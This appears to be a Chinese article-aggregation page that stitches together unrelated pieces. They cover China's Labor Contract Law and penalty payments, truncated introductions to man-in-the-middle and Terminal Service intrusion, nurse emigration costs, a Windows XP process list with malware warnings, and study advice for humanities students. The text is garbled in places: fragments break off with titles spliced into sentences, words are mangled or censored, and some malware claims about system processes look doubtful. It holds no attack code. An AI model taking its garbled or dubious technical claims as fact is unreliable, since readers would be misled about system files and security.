因此，每个地方可以制定其的劳动合同违约金的标准，劳动者应该了解清楚自己所在地的地方法律来约定劳动合同违约金的数额，保障自己的合法权益。

《劳动合同法》：主动辞职不用付违约金

单位迟迟不给签劳动合同将赔付双倍工资；炒老板鱿鱼可以不再赔违约金；签约两次之后再续约必须签订无固定期限劳动合同；超过一年不签约的，自动视为与劳动者签订无固定期限劳动合同……明年1月1日《劳动合同法》（以下简称《劳》）施行之后，这一切都将成为现实。

参与了该法起草工作的劳动法权威黎建飞教授为广州企业界解析《劳动合同法》的影响时做出了上述解读。

违约金一向是用人单位绑住劳动者的“紧箍咒”，但明年1月1日之后，想炒老板鱿鱼的打工仔可以“挥挥衣袖不留下一分血汗钱”了。《劳》规定，除非劳动者接受过单位的培训，或有保密协议和竞业限制的协议，劳动者不需向单位支付任何违约金。

“而且单位必须出具第三方开的培训费用发票才能证明对劳动者进行过培训，企业内部培训或没有第三方发票的都不算。作为人力资源管理人员，我要提醒你们记得收好发票；作为劳动者，就要记得快点毁灭证据啊。”黎建飞说辞引来台下一片笑声。

签好了工作单位的大学毕业生们注意，“不要离开校门后到处疯玩，得快马加鞭到单位去报到。《劳》第七条明确规定了，‘用人单位自用工之日起即与劳动者建立劳动关系’，也就是说报到了劳动合同才生效，要是在离校和单位报到期间出了意外，学校和单位都不会管，那就惨了。”黎建飞举例一名服装学校的女生，毕业离校之后未及时到单位报到，结果期间查出患上血癌，学校和单位都没有义务负担医疗费，只能靠社会救济，“同学们千万不要轻易脱离组织。”

“不少单位没有依法为劳动者购买社会保险，今后出现这种情况，不但要补足应该交的部分，还要向劳动者付出经济赔偿。”肖胜方律师提醒用人单位，“所谓依法，是要按时、足额购买，拖延时间、金额不足都要赔偿。根据《劳》46条，劳动者可以要求解除合同，用人单位要作出赔偿，并补缴拖欠的社保资金，还要交滞纳金。这将导致企业越不依法购买社会保险，损失越大，成本越高。”

篇9：有关中间人攻击的详述

中间人攻击（Man-in-the-MiddleAttack，简称MITM攻击）是一种间接的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为中间人，

有关中间人攻击的详述

，

然后入侵者把这台计算机模拟一台或两台原始计算

篇10：终端服务入侵详述

终端服务又称3389服务，它提供了通过作为终端仿真器工作的瘦客户机软件远程访问服务器桌面的能力，

终端服务入侵详述

，

终端服务只把该程序的用户界面传给客户机。客户机然后返回键盘和鼠标单击动作，以便由服务器处理。每个用户都只能登录并看到它们自己的会话，这些会话由服务

篇11：护士赴美全过程费用详述

一名学历、资历等条件都满足cgfns要求的中国护士（简单讲，就是有高中学历、护校学历和中国护士证），如果其接受三一国际护士培训部的服务指导和帮助，完全可在1——2年内到美国从事正规护理工作并实现无限期居留美国的愿望。

一、为通过cgfns（美国护理知识）考试而接受辅导培训所花费用：0——8000元人民币这部分费用的花费因人而异。如果您英语、护理知识已有一定基础甚至有一定水平，那么您可以不用接受任何辅导培训或者只需看看少量的材料就可直接参加cgfns考试，从而省下这笔花费。如果您对自己的应考能力没有信心，同时又选择了我们培训部的辅导培训作为提高自己应考能力的一个途径，其总费用最多为8000元人民币（即参加所有课堂学习班的合计费用）。如果您只参加部分班种或选择函授学习，则费用会更低。

二、cgfns考试报名费考试费共需295美元这笔费用是交到cgfns考试中心的，无法减免不容更改。但当你通过了考试拿到了cgfns证书最后如愿以偿地到了美国开始正式为美国医院工作后，很多美方医院或中介公司会为你报销这笔cgfns考试费（包括后面的托福考试费）。

三、cgfns考务代办协办费：500元左右人民币报考cgfns考试是一件很繁琐的事情。如果您委托我们帮您办理或指导这些事情，我们收取的服务费约为500元人民币（包含翻译、公证、单位证明、跨国邮寄、兑换美元等服务）。

四、托福考试和考前培训花费约为200美元（托福考试本身需要100美元）

五、联系美方医院和办理移民手续所需花费：待定

这笔费用是指委托中介公司代您联系赴美后的工作医院、办理出国手续所需收取的服务费。服务内容包括向美国移民局提出申请、提供担保、向移民局和使领馆提交各种资料、人民币换成美元、面试前指导、美国注册护士执照考试辅导等等。我们委托的中介公司实行先服务后收费方针，即在您的移民手续办成之后再收费。

以上费用是目前护士出国移民的大概花费。

另外说明，在您联系好赴美工作和办好移民手续之后，美方医院和中介公司会为你安排各种接应服务。您的赴美机票和初到美国期间的生活费用将由美方医院为您预付（以后从工资中扣除）。

篇12：详述Windows XP的主要进程

1.svchost.exe

进程文件:svchost或者svchost.exe

进程名称:microsoft service host process

描述:svchost.exe是一个属于微软windows操作系统的系统程序，用于执行dll文件，这个程序对你系统的正常运行是非常重要的。注意：svchost.exe也有可能是w32.welchia.worm病毒，它利用windowslsass漏洞，制造缓冲区溢出，导致你计算机关机。请注意此进程的名字，还有一个病毒是svch0st.exe，名字中间的是数字0，而不是英文字母o。请注意此进程所在的文件夹，正常的进程应该是在windows的system32和servicepackfilesi386下面

2.IEXPLORE.EXE

进程文件:iexplore或者iexplore.exe

进程名称:microsoft internet explorer

描述:iexplore.exe是microsoft internet explorer的主程序。这个微软windows应用程序让你在网上冲浪，和访问本地interanet网络。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。iexplore.exe同时也是avant网络浏览器的一部分，这是一个免费的基于internet explorer的浏览器。注意iexplore.exe也有可能是木马.killav.b病毒，该病毒会终止你的反病毒软件，和一些windows系统工具。正常的进程应该是在programfilesinternetexplorer和system32dllcache下面

3.rundll32.exe

进程文件:rundll32或者rundll32.exe

进程名称:microsoftrundll32

描述:rundll32.exe用于在内存中运行dll文件，它们会在应用程序中被使用。这个程序对你系统的正常运行是非常重要的。注意：rundll32.exe也可能是w32.miroot.worm病毒。该病毒允许攻击者访问你的计算机，窃取密码和个人数据。请注意此进程所在的文件夹，正常的进程应该是在windows的system32和system32dllcache下面

4.ctfmon.exe

名称: alternative user input services

描述: ctfmon.exe是microsoft office产品套装的一部分。它可以选择用户文字输入程序，和微软office xp语言条。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。

5.WINLOGON.EXE

进程文件:winlogon or winlogon.exe

进程名称:microsoft windows logon process

描述:winlogon.exe是windows域登陆管理器。它用于处理你登陆和退出系统过程。该进程在你系统的作用是非常重要的。注意：winlogon.exe也可能是w32.netsky.d@mm蠕虫病毒。该病毒通过email邮件传播，当你打开病毒发送的附件时，即会被感染。该病毒会创建smtp引擎在受害者的计算机上，**邮件进行传播。该病毒允许攻击者访问你的计算机，窃取密码和个人数据。请注意此进程所在的文件夹，正常的进程应该是在windows的system32下面

6.wdfmgr.exe

进程文件:wdfmgr或者wdfmgr.exe

进程名称:windows driver foundation manager

描述:

wdfmgr.exe是微软microsoftwindowsmediaplayer10播放器的相关程序，

该进程用于减少兼容性问题。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。

7.alg.exe

进程文件:alg 或者 alg.exe 进程名称: application layer gateway service 描述: alg.exe是微软windows操作系统自带的程序。它用于处理微软windows网络连接共享和网络连接防火墙。这个程序对你系统的正常运行是非常重要的。

8.smss.exe

进程文件:smss或者smss.exe

进程名称:session manager subsystem

描述:smss.exe是微软windows操作系统的一部分。该进程调用对话管理子系统和负责操作你系统的对话。这个程序对你系统的正常运行是非常重要的。注意：smss.exe也可能是win32.ladex.a木马。该木马允许攻击者访问你的计算机，窃取密码和个人数据。请注意此进程所在的文件夹，正常的进程应该是在windows的system32和servicepackfilesi386下面

9.explorer.exe

进程文件:explorer或者explorer.exe

进程名称:microsoft windows explorer

描述:explorer.exe是windows程序管理器或者windows资源管理器，它用于管理windows图形壳，包括开始菜单、任务栏、桌面和文件管理。删除该程序会导致windows图形界面无法适用。注意：explorer.exe也有可能是w32.codered和w32.mydoom.b@mm病毒。该病毒通过email邮件传播，当你打开附件时，就会被感染。该蠕虫会在受害者机器上建立smtp服务，用于更大范围的传播。该蠕虫允许攻击者访问你的计算机，窃取密码和个人数据。请注意此进程所在的文件夹，正常的进程应该是在windows和servicepackfilesi386下面

10.csrss.exe

进程文件:csrss或者csrss.exe

进程名称:microsoft client/server runtime server subsystem

描述:csrss.exe是微软客户端/服务端运行时子系统。该进程管理windows图形相关任务。这个程序对你系统的正常运行是非常重要的。注意：csrss.exe也有可能是w32.netsky.ab@mm、w32.webus木马、win32.ladex.a等病毒创建的。该病毒通过email邮件进行传播，当你打开附件时，即被感染。该蠕虫会在受害者机器上建立smtp服务，用以自身传播。该病毒允许攻击者访问你的计算机，窃取木马和个人数据。请注意此进程所在的文件夹，正常的进程应该是在windows的system32和servicepackfilesi386下面

11.lsass.exe

进程文件:lsass或者lsass.exe 进程名称:local安全等级作者ityservice 描述:lsass.exe是一个关于微软安全机制的系统进程，主要处理一些特殊的安全机制和登录策略。

12.CONIME.EXE

这个文件则是输入法进程，请注意此进程所在的文件夹，正常的进程应该是在windows的system32和system32dllcache下面。注意，在非亚洲语言的windows里，conime.exe是一个bfghost1.0远程控制后门程序，允许攻击者访问你的计算机，窃取密码和个人数据。

13.wmiprvse.exe

进程文件:wmiprvse或者wmiprvse.exe 进程名称: microsoft windows management instrumentation 描述: wmiprvse.exe是微软windows操作系统的一部分。用于通过winmgmt.exe程序处理wmi操作。这个程序对你系统的正常运行是非常重要的。

14.timplatform.exe

timplatform.exe 和tencent messenger共同使用的外部应用开发接口管理程序，属于qq不可或缺的底层核心模块。如果删除该程序，qq将丧失与周边功能模块以及外部应用程序相互调用的功能。

篇13：详述高中文科生的学习方法

详述高中文科生的学习方法

一、高中文科生，你是否会学习文科?

我曾经对高中文科生的学习方法问题搞过专题调查，总的感觉是文科生们尚未能很好地“学会学习”。主要表现为：

第一，学习与生活的时间安排缺乏科学性，如睡眠时间不能保证，文体活动时间被挤占，这使得相当一部分学生在课堂上“经常走神”。这当然会严重影响学习效率的提高。

第二，学习过程缺乏主动性，如过份地依赖对教材的阅读而很少采用做笔记、卡片等更有效的文科学习方式;很少带着问题阅读教材，变成了阅读就是背书，这显然不利于归纳、比较、分析和概括等学科能力的培养;对考试麻木不仁，消极应付而很少进行研究，积极应对。这种被动学习的态度与行动，显然与“以能力测试为主导”的高考改革方向相悖，因而也就难以取得理想的学习效果。

第三，记忆方法尚未优化。毫无疑问，文科各学科“主体知识系统的基础还是必须识记的，这是学好文科的基础，也是顺利应试的前提。调查表明，无论是识记的内容还是识记的方法，文科生们都未必能很好地掌握了，这当然不利于知识的巩固，也不利于备考。

简言之，从我了解到的情况看，不少文科生离会学习尚有不小差距。显然，谁首先在“会学”方面取得突破，谁就更有把握将自己的学习潜能转变为现实的成绩;更关键的问题是，谁现在就开始行动，谁就能笑在最后。

二、学好文科必须重视的五个基本环节

深信每个高中文科生都想走上学习的成功之路。要想走上成功路，除了具有强大的学习动力、刻苦的学习态度和良好的身体与心理素质外，还必须掌握科学的学习方法。事实上，只要是在学习，不管是否意识到，人们都在选用一定的学习方法，只不过所用方法有优劣之分罢了。学习得法，事半功倍，不但能帮助文科生在今后的一年间顺利前行，取得优异成绩，更能成为一个人的宝贵财富而让人终身受益。

其实，达尔文早就说过，“最有价值的知识是关于方法的知识”。那么，学好高中文科有哪些方法?怎样去掌握这些方法呢?笔者以为首先必须抓好以下五个关键环节。

1、教材的阅读

阅读是“学习之母”。它既是学习的开端，也有助于提高学习效率。有研究表明，阅读后的记忆率要比听讲后的记忆率高出1.66倍。

当然，看书未必是阅读，只有读懂了至少是用脑了才能算是阅读。那么，从高中文科生的角度看，应该怎样阅读文科教材?

从阅读的步骤看，首先是要经常看看目录及其教材内各章节下的子目。目录及其子目具有高度的浓缩性、完整的系统性和严密的逻辑性等特点，它能体现各章节、各子目之间的关系和核心内容，因而是学习的导游图，经常加以浏览，就能对教材的主要内容及其相互间的关系了然于胸。如阅读《中国古代史》(人民教育出版社版)的目录就不难发现编者将中国古代社会分成了六章六个阶段，其中从第二章开始分五个阶段介绍中国封建社会时期的历史;再看第二章“封建大一统时期—秦汉”下面又设八节，实际上是从制度、政治、社会经济、疆域、民族关系和文化等方面论述了这一时期的中国历史发展状况，其中“大一统”的特征非常鲜明;而第五章“封建社会的繁荣—隋唐”的介绍，则是从“繁荣”的角度切入，以八节的篇幅分别介绍了这一时期的政治经济、制度变革、民族关系、对外交往和文化等方面的状况，时代特征可谓是一目了然。

顺便指出，近年来随着社会学科新研究成果的大量涌现，教材的改革力度也相当大，高三文科生在阅读时应当予以适当的关注，因为高考将会体现这些成果。关注的最佳捷径就是钻研《普通高等学校招生全国统一考试说明》(俗称“考纲”)中的“考试内容”，看看它的框架结构及重要的知识点的表述与教材有什么不同。再就是翻看新教材的目录，看看其框架结构、基本线索和重要观点有什么变化，新旧版的《中国古代史》教材就极为鲜明地体现了这种情况。第三是关心教师及各类媒体的介绍，如随着“夏商周断代工程”的完成及其研究成果的正式公布，公元前841年就已经不再“是我国历史有确切纪年的开始”。

其次是在对每个章节的阅读时要重视寻找“灵魂”(或者说是“中心思想”)。社会学科具有强烈的人文性。因此，要多想想编者为什么要把这一内容放进教材?他想借此说明什么问题?他又是通过什么材料来说明问题的?重视对这些问题的思考，有助于养成从教材中获取有效信息的能力，有助于培养分析和解决问题的能力。当然，“灵魂”常常表现为是隐性知识，它并没有直接用文字表述出来，而是隐蔽在教材之中的知识内容和知识联系，这就需要去理解、去挖掘。如“只有中国 gcd才能就中国”就是蕴藏在中国近代八十年抗争与探索史中的历史结论，但教材并没有直截了当地这么说;又如“伟大战略决战的胜利”是中共审时度势、抓住机遇、正确决策的结果，但教材也没有这么说。显然，这些都是在了解教材、理解教材的基础上得出的结论，而且，还完全可以从其它的角度得出更多的结论。

第三是确定并用各种标记划出学习目标，以便于日后复习时一目了然，更可以明确基本的知识点。

从阅读的技巧看，要特别注意四点。

一是要重视关键词(又称段落主题句)。它通常在每一段的第一句或是最后一句。要想一想，支撑它的依据是什么?

二是要善于把标题变成问题对自己提问。如“伟大战略决战的胜利”就可变为：中共为什么要组织战略决战(背景)?战略决战是怎样进行的(过程)?战略决战产生了什么影响(意义)?

三是如需对某些重要材料要加深理解，可按“浏览—自我提问—阅读—复述”的程序进行阅读。

四是如需较长久地记住的知识，可使用“考试通过器”(又称三R体系)：阅读(READ)—逐段阅读，弄明白作者在这一段中讲了什么，重点是什么。这是关键一步，必须弄懂。记录(RECOND)—对所阅读的教材有选择进行划线，或归类制表。背诵(RECITE)—对所划的东西掩卷回忆并背诵，最好是出声地背诵，背对为止。在时间分配上，背诵时间占50%较为适宜。

2、课前预习与课后复习

课前预习是高效地学习新课的基础，但不少文科生对教材的预习向来是忽视的，其后果是听课时心中无数甚至于是不得要领，只得忙于生吞活剥教师讲授的东西。不搞课前预习，除了认识上的原因，时间过于紧张也是客观原因。其实，如想形成独立思考的能力，掌握学习的主动权，使学习进入良性循环，并保持较高的效率就不能不重视课预习。

那么，怎样预习?建议按下列三个步骤去尝试：首先是纵览章节、引言和子目。纵览犹如给机器上润滑油，化时不多，便可了解基本内容，明确学习方向，还易于整体地把握方向。其次是根据高考《考试说明》中的“考试内容”(俗称考纲)了解教材的要点、难点，并把重要的知识目标(如时间、地域、人物、事件、术语)划下来。最后是把不懂的地方确定下来，这是必不可少的一步：只有明确它，才有可能消除它。做好了这一切，上课时就可以集中精力关注老师是如何解决问题的了。

在高中年级，复习恐怕是学习中最重要最关键的一环，这里的复习主要是指课后的复习。遗忘是个连续不断的过程，复习则是战胜遗忘的利器，它当然也应当连续不断地进行。不过，课后复习的目的不仅仅在于巩固已学过的知识，而且还要掌握新的知识。

高中文科的课后复习应该怎样进行?

从复习内容的角度看，当然是要抓住“学科主体知识范围内”的主要学习目标(也称学习重点或主干知识)。以历史学科为例，所谓主要的学习目标，一是重要的历史事件、历史人物和历史术语，如鸦片战争、林则徐和《南京条约》;二是与基本线索有关的，如魏源的“师夷长技以制夷”、李鸿章的“师夷长技以自强”、康有为的维新变法、孙中山的民主革命、陈独秀的“民主”与“科学”;三是一些历史的基本结论，如“鸦片战争是中国近代史的开端”、“太平天国运动是中国农民战争的最高峰”等等。对非主要的学习目标要敢于忽略，千万不要试图“把书本上的东西都记住”。当然，由于是高考，所以具体的考试内容每年都有所调整，这就需要重视考纲。注意，要想事半功倍地进行高三的历史复习，就务必要重视考纲并在考纲的指导下进行，在新《考试说明》颁发之前，可以先参考20的《考试说明》。至于考试的“超纲”肯定不是命题的方向而只能视为是命题的失误。

复习的方法很多，但最基本的是下列四种。

对平时的课后复习，通常可以重要的知识点为中心进行。

随着学习的推进，归类就成为一种行之有效的的复习方法。

宏观的归类可以形成基本线索。如《世界近现代史》(上册)大体可归为“资本主义的兴起与发展”“资产阶级革命与改革”“工运与共运”“殖民与反殖民”四个专题，进而形成一条主线索和三条副线索。

微观的归类则可以把相似或相近的知识集中起来，便于识记。如资产阶级革命中的重要文献、关键性战役等等。

归类还可以表现为抓住一些小专题进行复习。在文综考试的背景下，这种归类方法似乎变得更为重要了。小专题复习当然意味着要把有关知识系统化、专题化。以中国古代文化为例，它可以分为社会科学和自然科学两大类。社会科学可再分为思想、教育、文学、史学、艺术等小专题，自然科学也可再分为农、医、天、算、工程等小专题。应该强调指出，小专题复习的注意重心不应放在知识点的归类、梳理和识记上，更不要刻意在知识点上去“深挖洞”，而是要放在对相关问题的认识上，放在对这些历史现象的探究上。要学会以小见大，用历史唯物主义的基本观点分析和理解这些历史现象。以中国古代的教育为例，如果对私学、书院的兴衰拉线索并不能算错，但终究只是一些细小知识的堆积，意义并不大;而如果能够揭示蕴藏其后的经济、政治根源，进而理解“教育是一种重要的社会现象，它的兴衰受制于社会的发展，同时也影响社会的发展”，那么才实现了对这一历史现象进行探讨的价值。

第三种方法是编制各类表格。它可以使重要的知识排列有序，一目了然。

第四种方法难度最大，但对发展思维能力、对于一年后的应试却是极其有效的，这就是比较的方法。高考非常重视比较，这是因为比较能力是一种层次较高的能力，能很好地考查学生对知识的实际理解和应用能力。

那么，怎样进行比较?

首先当然要掌握与理解基本概念。

其次是要掌握比较的方法，这就要依*平时的训练。比较的内容是相当广泛的，人物、事件、历史概念、文化成果等均可以进行比较。比较时需注意三点：首先是明确思维方向，求同还是求异，是横向比较还是纵向比较。我们的任务就是把这些本质性的异同点找出来。其次是确定比较点，也就是划分一些领域进行比较，如可以是两个不同社会的政治、经济和文化领域，也可以是两个或两个以上历史事件的原因、过程、结果等，当然还可以是两个历史事件的性质、特点、影响等。

从加深记忆的角度看，成功的复习至少应当抓住两个步骤：

第一步是把新学的知识放入已学的知识中去考察并要努力将它融入已有的知识结构中，因此整理笔记和做一些卡片是题中应有之义。

第二步是适当的练习。

3、听课

听课，是指倾听，是指在听的过程中用脑吸收词或句的含义，在此基础上理解事实和概念，并尽量将它转化为记忆。

听课，是现阶段学生获得知识的主要途径之一，也是能否实现高效地学习的重要环节之一。

要听好高三的课，应当做好下列几件事

一是要端正听课态度，这是有效听课的最重要条件。你应该认识到自己的幸运：每堂课都是老师化了几个小时甚至于是一生的心血才准备好的，你就这么容易地得到了;你应当想到，课后的自学很难在相同的单位时间里获得相应的信息。

二是要认真倾听。它包括：集中思想——要专注地听课，尤其是专注于①学习目标;②预习中未解决的的部分;③老师强调的知识和重点分析的知识

三是要多种器官并用，做好笔记并积极地提问和回答。在课堂上，要坚持耳听、眼看、手记、嘴巴问答，这样才能为大脑印下清晰的记忆痕迹。

四是要及时归纳，可在下课再花费一、二分钟追忆一下这节课的重点是什么。

在听课问题上，要注意消除以下两种常见的坏习惯：认为课乏味或是挑剔讲课老师而不认真听，这会导致有用信息的遗漏;分心，在上课的时候“兼顾”其它学科的学习，这当然会“担惊受怕”，学习效果可想而知。

4、笔记

为什么要记笔记?有研究表明，课后马上测试，一般学生能够记住老师讲课内容的50%，48小时后只能记住其中的25%，隔两周后再回忆，记住的大约只有8.4%了。

毫无疑问，记笔记有助于眼、耳、脑、手密切配合，多种器官刺激大脑，有助于集中精力，积极思考，强化记忆，从而提高学习效果。然而，笔记的功能还不止于此，因为教师在课堂上讲的内容与教材相比，有时会更有层次性、逻辑性，或是更显浅易懂。

一般说来，高三课的容量是比较大的。从技术角度看，宜准备专用的16K本笔记，这样就易于较为舒适而快捷地书写;每一页应留下一定的空白，以便于日后的整理和补充;字的书写以自己能看懂为条件，不必苛求端正整洁;可用一些自己能懂的简略词或缩写词;一些教材上有的内容可直接在教材上做好标记以节省时间。

怎样做笔记?

当然要学会预习与听课，这是记好笔记的前提。

固然要把老师的授课提纲(要点)记下来，但作为高三的课，这已不是重点。需记的重点有：重要的概念、结论及其分析;重要的知识归类或知识框架(含线索、结构);精典的例子或练习题;教师对某些问题的新见解和思考方法。

记笔记是为了应用。笔记应多次复习，使其作用得到充分发挥。一般应在对其内容记忆犹新的时候(即是在当天)结合笔记的整理进行一次较为仔细的复习。当笔记 “冷却”时(起初一般是1—2周，以后可逐步延长)，再复习一遍，一是强化识记，二是看看是否有新的疑问，三是尤其要注意各部分笔记在整个知识体系中的互相关联。

5、练习

高中的特征之一就是练习多，“题海”就是对这一现象的真实写照。作为高中学生，恐怕无法回避“题海”，对此要有足够的心理准备。

高明的水手当然不会回避大海，也不会淹没在大海中。成功的高中文科生也不会只是无奈地在题海中随波逐流，而是通过自身的努力，在其中劈波斩浪，从而顺利地抵达预定的目的地。

面对浩淼“题海”，应该怎样应战?

第一是“任它长水三千里，我只取其中一勺”。换言之，我们应走“精练”之路。因此，进入高中后，需要在老师的指导下，选择一较好的复习资料以备用。所谓 “较好”，当然要考虑以下几个因素：科学性正确无误;编写体例适合于高三的复习(至少应有同步辅导与专题辅导两个部份);内容与高考改革方向、与考纲相一致。从练习的角度看，还应该有同步练习与专题练习两个部分。有了这些资料后，就应有计划地、踏踏实实地去逐步完成。在练习问题上，切忌收集了许多资料，今天做这一份，明天做那一份，到头来就很难做到“系统”和“全面”。

第二是要重视老师布置的自行设计的练习题。复习资料一般都是面对一个较大的使用群体，对个体的你未必适合。一个优秀的老师一定会根据自己所教学生的实际情况、根据高考的形势，设计一些更具有针对性的练习题，供学生们选用。对此，你应从自身的实际情况出发，选做其中的一些。

第三是坚持“细水长流”。许多同学对文科作业有认识误区，以为数理化才需要天天做作业，文科主要就是看书，要么就是做试卷。其实不然，作为一名文科生，文科作业恐怕同样需要天天做，只不过不需要大量做罢了。需要注意的是，要尽量少做“抄抄书”就可以完成的作业;即使老师布置了这样的作业，也应努力用自己的语言重新概括与组织。这样就能做一次有一次收获，不至于感到是“无效劳动”。

第四，对典型题目要认真研究。典型题目一般有两类，一是较好的高考题，特别是列入了高考《考试说明》“题型示例”中的例证题;二是教师们设计的对某一类专题有“范例”意义的练习题。之所以要认真研究典型题目，是因为练习题是永无穷尽的，最有效的方法莫过于像学习数理化一样，把那些例题研究透，以达到举一反三的效果。在实行文科综合考试、不再追求知识覆盖面的今天，这种练习方式尤其值得提倡。

三、高效率地学习的四条基本途径

高三的学习只有一年，时间紧，任务重，除了抓住上述五个环节，如想在有限的时间内获得更大的成绩，笔者建议要从以下四条途径作出努力。

1、时间的安排

为什么要安排好时间?无论是学习还是生活，高三都是极其紧张的一年，只有科学的安排，才会有较高的效率。人通常都有惰性，时间安排表则可以成为推动你正常学习与生活的外部动力;时间安排表也可以阻止你避开不喜欢做的事，确保你有计划地、有序地学习与生活;当然，它也有助于你合理地安排好各科的复习。

怎样安排科学地学习时间?一般而言，周一至周六白天的时间学校已作了安排，学生需要安排的主要是早晨与晚上以及周日。安排的原则与具体方法是

首先是确定就寝与起床的时间，要保证每天睡眠在8小时左右，一般宜早睡早起，使人体生物钟与学习要求的时间同步。

其次是要安排好就餐与娱乐的时间，要保证能从容地就餐。此外，饭前半小时、饭后一小时学习效率极低，宜安排娱乐或积极的休息，如散步谈天、听新闻音乐、做家务劳动、整理学习资料与用品等。

第三是要安排时段。一个时段一般以一小时为宜，50分钟学习，10分钟休息。要确立一小时学习不如50分钟学习、10分钟休息的意识，求量(时间量)不如求质(学习效率)。早晨可安排一个时段，晚上则以安排三个时段为宜(但要集中精力)。特别需要提醒的是，一是作为高三文科生，背诵的时间要确保：首先是早晨，再紧张也要安排，至少是20分钟。其次是晚上，最后半个时段宜用于背诵。二是在休息的时候要为学习作好必要的准备，如喝茶、整理学习用品，一旦开始学习，就不能做任何与学习无关的事，这就尤如在学校里上课。

第四是要安排好晚上的学习内容，安排时要注意各学科的交*特别是文理科的交*;要尊重“约斯特法则”，每一科目的学习不要超过一小时，这样可使你的学习效率提高30% ;要注意阅读、练习与背诵相结合，使不同的器官交替投入学习;一般应先易后难，先文后理，先预复习后做练习，以保证学习任务的顺利完成。

至于周日，建议上午用于休息与调整(可以睡个够，也可以进行体育活动，当然也尽可以干一些自己乐意干的事)，下午可以用于整理一周的课堂笔记，晚上则可用于重点科目或是薄弱科目的复习。

2、记忆能力的提高

进入文科班，记忆的问题就摆到了每一个文科生面前。通常，在进入文科班以前，记忆力好是不少同学自以为拥有的一张王牌，然而在经过一段时期的学习后，面对大量需要识记的内容，这张王牌似乎就难以招架了，于是不少同学就对自己的记忆力丧失了信心。这当然是不利于这至关重要的一年的学习的。

毫无疑问，在人生的学习与生活经历中，有大量的东西是需要记忆的，高三阶段的学习尤其如此。这是因为记忆是最基本的认知能力层次，其它高层次的能力及其运用都是以此为基础的，可以说是“哪里没有记忆，哪是就没有学习”。也正因为如此，文科综合能力的考试，把记忆能力放在重要的位置上(文综的“能力要求”就是只分为记忆、理解、应用三个层次)，并在实际的考试中以再认与再现两种方式进行考查，试题量还不少。

对记忆力要有正确的认识。记忆力与能力是相辅相成的，记忆力强，大大有助于能力的发展。遗憾的是，在强调素质教育、突出能力考查的背景下，一些老师与同学以“发展能力”为托辞，把记忆力放在次要地位，似乎记忆力的提高和能力的发展是对立的，这当然会制约记忆力的发展与发挥，从而影响了学习效率的提高。

记忆力不完全是天赋的，凡是有心人，采用正确的方法，经过适当的训练，都可以拥有较强的记忆力。关键在于行动。

那么，怎样才能提高你的记忆能力?

第一，要确立自信心，要相信科学，相信自己能记住。奇迹常常产生于自信，产生于坚持。实际上，同学们对自己的记忆能力充满自信是有根据的。据说，拿破仑能记住每一位士兵的面孔与姓名。惊人记忆力当然并不是拿破仑所独有的。据专家们研究，一个人的脑子能够记住的信息量大体相当于目前世界上全世界各图书馆的藏书量(七亿七千万册)，一般人只发挥了约4%的能力，如果能利用人所拥有能力的10%，你就将成为超人。

第二，要对所学知识进行选择与归类，在此基础上再分层次识记。

首先是要敢于并善于对知识进行取舍，尽量把握重点。对非重点的知识要敢于忽略。这是因为“天才的实质就是知道该忽略些什么”。在高三一年的学习中你必须决定什么知识需要掌握，什么可以忽略，因而要要学会按考纲要求进行判断与选择。

其次是分层次，可将经过选择而确定的知识划分适当层次，确定相应的学习程序和识记要求。

第三，要合理用脑。所谓合理，一是要交替复习不同性质的课程，如文理交叉，历史与地理交叉，这可使大脑皮层的不同部位轮流兴奋与抑制，有利于记忆能力的增强与开发;二是在最佳时间识记，一般应安排在早晨、晚上临睡前或是饭后半小时后，其中关键是早晨，“记忆之道就在于早晨十分钟”，早晨的十分钟，可相当于深夜的一小时。

第四，对所背知识要力求理解。没有理解的知识是很难记住的，没有理解的知识更是无法应用的。目前的文科高考，要求再认再现的文科知识，已经不会照搬教材的文字表述，而是经过了语言或形式的转换，没有理解是很难再认再现的。即使是选择题，也常常要经过分析、归纳、比较与综合才能得出结论。

第五，要经常复习。经常复习不是简单地反复背诵，而应按以下方式进行：

各种器官齐上阵。对新知识可按“熟悉—默读—书写”的顺序进行识记。这种方式能让手、口、耳、眼等器官共同参预复习，从不同的途径刺激大脑，取得较好的识记效果。

重新组织材料，使之产生新的意义。制图、制表、分类、比较均是重新组织材料的好方法。自己组织好的材料，才更有意义，更易于识记。这种方法更适合用于某一单元或专题的复习与识记。

及时地循环复习。记忆的实质是与遗忘作斗争，因而对需要识记的东西要有计划地循环复习。一般而言，新学习的内容应在当天结合笔记的整理进行识记，一周以内应结合单元(或专题)的整理对本周学习的知识要点进行一次浏览，一个月以内可结合卡片的制作进行背诵。如果再结合重要考试(如期中、期末考试、模拟考)进行全面复习，就不太会出现知识的遗忘了。当然，在每次背诵时，要切忌“照本宣科”，而是要将试图回忆与阅读交替进行。

不管哪一类知识，要想准确识记，卡片法恐怕是必不可少而最为有效的。所谓“卡片法”，是指在复习与整理的基础上，将需要识记的知识按一定的选题制成分类卡片，再按类别存放于卡片箱中，分期分批地轮流藏于身边，随时记忆。与看书相比，制作卡片表面上需花较多的时间，但这实际上是理解、整理和运用的过程，是多种器官同时上阵的过程，因而是高效率地学习的过程。通常的情况是，制成的(不是抄成的)卡片，只要稍加复习，就会熟记于心了。不信，可以试试。

3、考后的总结

无需讳言，进入高三后，文科生们将进入考海，几乎每天都要与考试相伴。在这个过程中，不少学生只是以消极的心态无可奈何地面对，因而是随波逐流，甚至于被吞没。

在苍茫的大海上航行要靠指南针指引航向。在考海中横渡，也需要不断地辨清与校正航向，这就需要总结。考后总结，就是考海中的指南针，其意义不言而喻。

总结什么?一是要总结考试成绩，通过总结学会正确地看待分数。只有正确看待分数，才不会被分数蒙住你的慧眼，而专注于学习的过程，专注于蕴藏在分数背后的秘密。二是要总结考试得失，从中找出成败原因，这是考后总结的中心任务。学习当然贵在努力过程，但分数毕竟是知识和技能水平的象征之一，努力过程是否合理也常常会在分数上体现出来。因此，不能不重视总结。三是通过总结确定下阶段的努力方向。名人有言，虽跛足而不迷路能胜过快步如飞却误入歧途的人。所以，下决心应当是在了解情况之后。另一方面，了解了情况，却没有有的放矢的行动，总结也就没有任何实际意义。因此，要善于在总结的基础上确定下一阶段的努力方向。

怎样总结?

